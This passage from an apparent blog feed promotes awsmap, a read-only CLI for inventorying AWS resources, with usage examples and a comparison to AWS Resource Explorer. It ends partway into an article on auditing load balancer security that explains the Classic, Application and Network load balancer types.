&lt;p&gt;Or scope to one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap query -n admin-users -a production
awsmap ask -a staging show me all Lambda functions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Tag Filtering
&lt;/h3&gt;

&lt;p&gt;You tag your AWS resources. Now you can scan by tags.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap -p prod -t Owner=John -t Environment=Production
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same key = OR logic. Different keys = AND logic. So &lt;code&gt;**_-t Owner=John -t Owner=Jane -t Environment=Production_**&lt;/code&gt; returns resources where Owner is John OR Jane, AND Environment is Production.&lt;/p&gt;

&lt;h3&gt;
  
  
  Typo Protection
&lt;/h3&gt;

&lt;p&gt;Small thing, big time saver.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ awsmap -s labda
Error: Unknown service 'labda'. Did you mean: lambda?

$ awsmap -r eu-wst-1
Error: Unknown region 'eu-wst-1'. Did you mean: eu-west-1?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No more silent failures from mistyped service names. awsmap validates against real AWS service names and regions before making a single API call.&lt;/p&gt;

&lt;h3&gt;
  
  
  Default Resource Filtering
&lt;/h3&gt;

&lt;p&gt;Every AWS account has default VPCs, default security groups, default route tables, default NACLs in every region. They clutter every inventory report.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap -p prod --exclude-defaults
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you don’t use the flag, defaults are still collected but marked with a “DEFAULT” badge in the HTML report so you can tell them apart.&lt;/p&gt;

&lt;h3&gt;
  
  
  Quick Reference
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| What | Command |
|-------------------|-----------------------------------------| 
| Full scan | `awsmap -p profile` |
| Specific services | `awsmap -p profile -s ec2,rds,lambda` |
| Filter by tags | `awsmap -p profile -t Owner=DevOps` |
| Exclude defaults | `awsmap -p profile --exclude-defaults` |
| SQL query | `awsmap query "SELECT ..."` |
| Named query | `awsmap query -n admin-users` |
| List queries | `awsmap query --list` |
| Ask in English | `awsmap ask how many Lambda per region` |
| Browse examples | `awsmap examples lambda` |
| Run example | `awsmap examples lambda 5` |
| Set config | `awsmap config set profile production` |
| Scope to account | `awsmap query -n admin-users -a prod` |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Upgrade
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install --upgrade awsmap

docker pull tarekcheikh/awsmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Links
&lt;/h3&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/TocConsulting/awsmap" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/awsmap&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;PyPI: &lt;a href="https://pypi.org/project/awsmap/" rel="noopener noreferrer"&gt;https://pypi.org/project/awsmap/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Docker: &lt;a href="https://hub.docker.com/r/tarekcheikh/awsmap" rel="noopener noreferrer"&gt;https://hub.docker.com/r/tarekcheikh/awsmap&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Part 1: &lt;a href="https://dev.to/tarekcheikh/awsmap-find-everything-running-in-your-aws-account-4o1e-temp-slug-9529820"&gt;https://aws.plainenglish.io/awsmap-find-everything-running-in-your-aws-account-3294c5326baa&lt;/a&gt;&lt;/p&gt;




</description>
      <category>aws</category>
      <category>cloudsecurity</category>
      <category>security</category>
      <category>devops</category>
    </item>
    <item>
      <title>awsmap — Find Everything Running in Your AWS Account</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Sun, 01 Feb 2026 21:13:43 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/awsmap-find-everything-running-in-your-aws-account-76f</link>
      <guid>https://dev.to/tarekcheikh/awsmap-find-everything-running-in-your-aws-account-76f</guid>
      <description>&lt;h3&gt;
  
  
  awsmap , Find Everything Running in Your AWS Account
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkphg2g596uqu94n2tmc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkphg2g596uqu94n2tmc.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We’ve all been there.&lt;/p&gt;

&lt;p&gt;New gig. You inherit an AWS account. Manager asks: “What do we have running?”&lt;/p&gt;

&lt;p&gt;“Use AWS Config,” someone says. Great. Except it costs money per resource recorded, needs setup, and doesn’t even cover half the services. Also it’s been disabled since 2019.&lt;/p&gt;

&lt;p&gt;So you open the console. EC2. Click. us-east-1. 12 instances. Click back. us-east-2. 3 instances. Click back. us-west-1. Empty. Click back. us-west-2…&lt;/p&gt;

&lt;p&gt;Repeat for 17 regions. Then do RDS. Then Lambda. Then ECS. Then the 130 other services.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5hjgp5i33glbqulo1lvj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5hjgp5i33glbqulo1lvj.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Three days later you have a spreadsheet, zero confidence, and a NAT Gateway in &lt;code&gt;af-south-1&lt;/code&gt; that’s been running for 18 months. Nobody knew. $720 down the drain.&lt;/p&gt;

&lt;p&gt;There had to be a better way. So I wrote one.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s awsmap?
&lt;/h3&gt;

&lt;p&gt;A CLI that scans your AWS account. All of it. Fast.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install awsmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap -p my-profile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp97zhpowilgujfp9erbb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp97zhpowilgujfp9erbb.png" width="800" height="595"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F50637kzir39i39ykz0yg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F50637kzir39i39ykz0yg.png" width="800" height="531"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;140 services. 17 regions. One command. About 130 seconds.&lt;/p&gt;

&lt;p&gt;You get an HTML report. Search, filter, dark mode. Click an ARN, it copies.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff8vf8etbsfq1xjod3zpl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff8vf8etbsfq1xjod3zpl.png" width="800" height="437"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7n3pjjgpq827yunzzhdy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7n3pjjgpq827yunzzhdy.png" width="800" height="439"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nothing revolutionary so far. Here’s where it gets useful.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Audit Problem
&lt;/h3&gt;

&lt;p&gt;Security team asks: “List all your EC2 instances, RDS databases, and Lambda functions.”&lt;/p&gt;

&lt;p&gt;Old way: Three different CLI commands. Parse JSON. Merge results. Format for humans. Probably miss a region.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap -p prod --services ec2,rds,lambda -o audit.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ec1mxyd7dygy06jb9h4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ec1mxyd7dygy06jb9h4.png" width="800" height="278"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkcqif0w80lzf2maeqf20.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkcqif0w80lzf2maeqf20.png" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Famnhy0bvbd4xh0zk77wr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Famnhy0bvbd4xh0zk77wr.png" width="800" height="437"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Done. All three services. All regions. One file.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Cost Problem
&lt;/h3&gt;

&lt;p&gt;$18,000 bill. “What’s eating our money?”&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap -p prod --services ec2,rds,elasticache,opensearch,eks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Found 12 &lt;strong&gt;&lt;em&gt;r5.4xlarge&lt;/em&gt;&lt;/strong&gt; in &lt;strong&gt;&lt;em&gt;ap-southeast-2&lt;/em&gt;&lt;/strong&gt;. Nobody knew. That’s $9,000/month right there.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Regions Problem
&lt;/h3&gt;

&lt;p&gt;“We only use us-east-1 and eu-west-1.”&lt;/p&gt;

&lt;p&gt;You sure?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap -p prod
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Found S3 buckets in &lt;strong&gt;&lt;em&gt;ap-northeast-1&lt;/em&gt;&lt;/strong&gt;. CloudWatch log groups in &lt;strong&gt;&lt;em&gt;sa-east-1&lt;/em&gt;&lt;/strong&gt;. A VPC in &lt;strong&gt;&lt;em&gt;me-south-1&lt;/em&gt;&lt;/strong&gt; with a NAT Gateway attached.&lt;/p&gt;

&lt;p&gt;You don’t use those regions. AWS services do. They create stuff everywhere.&lt;/p&gt;

&lt;h3&gt;
  
  
  Output
&lt;/h3&gt;

&lt;p&gt;HTML too fancy?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap -p my-profile -f json -o inventory.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;CSV for the spreadsheet people?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;awsmap -p my-profile -f csv -o inventory.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Docker
&lt;/h3&gt;

&lt;p&gt;Don’t want pip? Fair.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker run -v ~/.aws:/root/.aws:ro tarekcheikh/awsmap -p my-profile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Works on Intel and ARM.&lt;/p&gt;

&lt;h3&gt;
  
  
  What It Scans
&lt;/h3&gt;

&lt;p&gt;140+ services. EC2, Lambda, RDS, S3, ECS, EKS, DynamoDB, ElastiCache, IAM, KMS, Secrets Manager, CloudFront, Route53, API Gateway, SQS, SNS, Kinesis, Glue, Athena, Redshift, OpenSearch, SageMaker, Bedrock…&lt;/p&gt;

&lt;p&gt;You get the idea.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AMqjJVbbyKCSZhQRigVjyoQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AMqjJVbbyKCSZhQRigVjyoQ.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What It Doesn’t Do
&lt;/h3&gt;

&lt;p&gt;It’s read-only. List, Describe, Get. That’s it.&lt;/p&gt;

&lt;p&gt;Can’t create. Can’t modify. Can’t delete. Can’t read your S3 files or database contents.&lt;/p&gt;

&lt;p&gt;Minimum IAM: &lt;strong&gt;&lt;em&gt;ViewOnlyAccess&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AZt_OybAZ1_bi4KLrFffmOQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AZt_OybAZ1_bi4KLrFffmOQ.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  awsmap vs AWS Resource Explorer
&lt;/h3&gt;

&lt;p&gt;Following a great comment from Jesse Farinacci , thank you Jesse! , I decided to add this section.&lt;/p&gt;

&lt;p&gt;Fair question: why not just use AWS Resource Explorer? It’s free, it’s official, it has Organizations support. Here’s why awsmap still exists:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Eventual consistency is a dealbreaker for many use cases.&lt;/strong&gt; Per AWS documentation, Resource Explorer changes are “visible within minutes” in most cases, but “in some cases, modifications or deletions may take up to two weeks to be visible.” awsmap queries APIs directly , you get real-time state. For security audits or incident response, that distinction matters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Portable reports.&lt;/strong&gt; awsmap generates self-contained HTML/JSON/CSV files you can share via Slack, archive in Git, open offline, or hand to auditors. Resource Explorer is console-bound , no easy way to export a full inventory snapshot.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CLI-first automation.&lt;/strong&gt; &lt;code&gt;awsmap -f json -o inventory.json&lt;/code&gt; in a cron job, Lambda, or CI/CD pipeline. Resource Explorer requires console access or building around their search API.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IAM tag limitation.&lt;/strong&gt; AWS docs explicitly state that tags attached to IAM resources (roles, users) can’t be used for searching in Resource Explorer. awsmap supports full tag filtering on all resources with OR/AND logic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Zero setup.&lt;/strong&gt; &lt;code&gt;pip install awsmap &amp;amp;&amp;amp; awsmap&lt;/code&gt; gives you results in 2 minutes. Resource Explorer can take up to 36 hours for initial indexing and replication to complete.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Detailed configs.&lt;/strong&gt; awsmap captures encryption settings, versioning status, security group rules , not just resource ARNs and basic metadata.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Different tools for different workflows:&lt;/strong&gt; Resource Explorer is great for quick “find resource X” lookups in the console. awsmap is for complete, portable, real-time infrastructure snapshots you can automate and archive.&lt;/p&gt;

&lt;h3&gt;
  
  
  Quick Reference
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| What you need | Command |
|-------------------|--------------------------------------------|
| Full scan | `awsmap -p profile` |
| Save HTML | `awsmap -p profile -o report.html` |
| Save JSON | `awsmap -p profile -f json -o report.json` |
| Specific services | `awsmap -p profile --services ec2,rds` |
| Specific regions | `awsmap -p profile --regions us-east-1` |
| Show timings | `awsmap -p profile --timings` |

pip install awsmap

docker pull tarekcheikh/awsmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it. No more clicking through the console.&lt;/p&gt;

&lt;h3&gt;
  
  
  Links
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;GitHub: &lt;a href="https://github.com/TocConsulting/awsmap" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/awsmap&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;PyPI: &lt;a href="https://pypi.org/project/awsmap/" rel="noopener noreferrer"&gt;https://pypi.org/project/awsmap/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Docker: &lt;a href="https://hub.docker.com/r/tarekcheikh/awsmap" rel="noopener noreferrer"&gt;https://hub.docker.com/r/tarekcheikh/awsmap&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;AWS Resource Explorer: &lt;a href="https://docs.aws.amazon.com/resource-explorer/latest/userguide/welcome.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/resource-explorer/latest/userguide/welcome.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Resource Explorer Pricing: &lt;a href="https://aws.amazon.com/resourceexplorer/pricing/" rel="noopener noreferrer"&gt;https://aws.amazon.com/resourceexplorer/pricing/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Resource Explorer Eventual Consistency: &lt;a href="https://docs.aws.amazon.com/resource-explorer/latest/userguide/using-search.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/resource-explorer/latest/userguide/using-search.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Resource Explorer Supported Resource Types (IAM limitation): &lt;a href="https://docs.aws.amazon.com/resource-explorer/latest/userguide/supported-resource-types.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/resource-explorer/latest/userguide/supported-resource-types.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Resource Explorer Troubleshooting (36-hour indexing): &lt;a href="https://docs.aws.amazon.com/resource-explorer/latest/userguide/troubleshooting_search.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/resource-explorer/latest/userguide/troubleshooting_search.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;If you found this useful, follow me for more AWS, security, and developer tools content.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;




</description>
      <category>cloud</category>
      <category>devops</category>
      <category>security</category>
      <category>developertools</category>
    </item>
    <item>
      <title>Episode 5: Load Balancer Security Auditor — SSL, Protocols, and Public Exposure</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Thu, 29 Jan 2026 20:04:07 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/episode-5-load-balancer-security-auditor-ssl-protocols-and-public-exposure-4i09</link>
      <guid>https://dev.to/tarekcheikh/episode-5-load-balancer-security-auditor-ssl-protocols-and-public-exposure-4i09</guid>
      <description>&lt;h3&gt;
  
  
  Episode 5: Load Balancer Security Auditor — SSL, Protocols, and Public Exposure
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2Ae1UIynM9zUItIlojlPX61A.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2Ae1UIynM9zUItIlojlPX61A.png" width="800" height="533"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Stop manually clicking through the AWS console to check if your load balancers are leaking traffic.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  The Problem
&lt;/h3&gt;

&lt;p&gt;You have 20 load balancers across 3 AWS accounts. Security audit next week.&lt;/p&gt;

&lt;p&gt;Old way: Open console. Click each load balancer. Check listeners. Check if it’s public. Check SSL policy. Repeat 20 times. Miss one. Get flagged in the audit.&lt;/p&gt;

&lt;p&gt;I got tired of this. So I built a tool that scans everything in one command.&lt;/p&gt;
&lt;h3&gt;
  
  
  Quick Start
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone https://github.com/TocConsulting/aws-helper-scripts.git
cd aws-helper-scripts/elb-audit
python3 elb_audit_cli.py --all-regions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Done. Every load balancer. Every region. Security issues flagged.&lt;/p&gt;
&lt;h3&gt;
  
  
  AWS Load Balancer Types — The 30-Second Version
&lt;/h3&gt;

&lt;p&gt;AWS has three types. You probably have all three.&lt;/p&gt;
&lt;h4&gt;
  
  
  Classic Load Balancer (CLB)
&lt;/h4&gt;

&lt;p&gt;The 2009 original. Still works. AWS wants you to migrate off it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws elb describe-load-balancers # Note: 'elb' not 'elbv2'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Application Load Balancer (ALB)
&lt;/h4&gt;

&lt;p&gt;The 2016 upgrade. Smart routing based on URLs, headers, paths. Use this for web apps.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws elbv2 describe-load-balancers # Note: 'elbv2'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Network Load Balancer (NLB)
&lt;/h4&gt;

&lt;p&gt;The 2017 speed demon. Millions of requests per second. Use this for raw TCP/UDP traffic.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws elbv2 describe-load-balancers # Same API as ALB
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The confusing part&lt;/strong&gt; : Classic uses &lt;code&gt;**_aws elb_**&lt;/code&gt;. ALB and NLB both use &lt;code&gt;**_aws elbv2_**&lt;/code&gt;. Don’t mix them up.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A2D1WWp3aWywmcBjVmW5_ZA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A2D1WWp3aWywmcBjVmW5_ZA.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer 4 vs Layer 7 — What Does This Actually Mean?
&lt;/h3&gt;

&lt;p&gt;You’ll see “Layer 4” and “Layer 7” everywhere. Here’s what they actually see.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The complete flow — step by step:&lt;/strong&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 1: Client → Load Balancer (Public Internet)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Field | Value |
|-------------|----------------------------------------------|
| Source | `203.0.113.50:52431` (client public IP) |
| Destination | `52.94.123.45:443` (load balancer public IP) |
| Traffic | HTTPS encrypted |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Layer 4 (NLB) sees:&lt;/strong&gt; IP addresses + ports only. Can’t read anything inside.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 2: SSL Termination (at Load Balancer)
&lt;/h4&gt;

&lt;p&gt;Load balancer decrypts the HTTPS traffic using your SSL certificate. Now it can read:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/users HTTP/1.1
Host: api.company.com
Authorization: Bearer eyJhbGc...
Cookie: session=xyz789
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Layer 7 (ALB) sees&lt;/strong&gt;: Full HTTP request. URLs, headers, cookies. Smart routing possible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 4 (NLB) still sees&lt;/strong&gt;: Just TCP packets. Forwards blindly.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 3: Load Balancer → EC2 (Private Network)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Field | Value |
|-------------|--------------------------------------------|
| Source | `10.0.0.50` (load balancer private IP) |
| Destination | `10.0.1.100:8080` (EC2 private IP) |
| Traffic | HTTP clear text (or HTTPS if configured) |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ALB adds headers so your app knows the real client:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Header | Value | Purpose |
|--------|------------|-------------------------------------|
| `X-Forwarded-For` | `203.0.113.50` | Original client IP |
| `X-Forwarded-Proto` | `https` | Original protocol |
| `X-Forwarded-Port` | `443` | Original port |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



